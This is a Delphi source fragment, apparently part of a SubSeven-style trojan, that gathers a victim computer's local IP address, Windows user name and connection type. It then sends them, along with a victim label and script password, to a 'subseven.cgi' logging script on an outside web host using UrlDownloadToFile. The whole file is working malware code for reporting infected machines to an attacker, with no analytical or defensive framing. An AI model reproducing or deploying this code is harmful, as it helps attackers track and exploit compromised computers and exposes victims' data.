username: string;
I: integer;
strKind: string;
const
victimname:string = 'Victim Name';
ScriptPassword:string = '1234';
MODEM = 1;
LAN = 2;
PROXY = 4;
BUSY = 8;
function LocalIP: string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array [0..63] of char;
GInitData: TWSADATA;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do begin
result:=StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function GetUser: string;
var
buffsize : DWORD;
begin
buffsize := 128;
Setlength(username,buffsize);
Getusername(Pchar(username),buffsize);
result := username;
end;
function GetConnectionKind(var strKind: string): Boolean;
var
flags: DWORD;
begin
strKind := '';
Result := InternetGetConnectedState(@flags, 0);
if Result then
begin
if (flags and MODEM) = MODEM then strKind := 'Modem';
if (flags and LAN) = LAN then strKind := 'LAN';
if (flags and PROXY) = PROXY then strKind := 'Proxy';
if (flags and BUSY) = BUSY then strKind := 'Modem Busy';
end;
end;
var cIP,cUser,cAdd:string;
begin
cIP:=LocalIP;
cUser:=GetUser;
cAdd:='http://www.mysite.com/cgi-bin/subseven.cgi?action=log&ip='+ cIP +'&port=NoneYet&id='+ victimname +'&win='+ cUser +'&rpass=NoneYet&connection='+ strKind +'&s7pass='+ ScriptPassword;
GetConnectionKind(strKind);
UrlDownloadToFile(nil, PChar(cAdd) , nil , 0, nil);
end.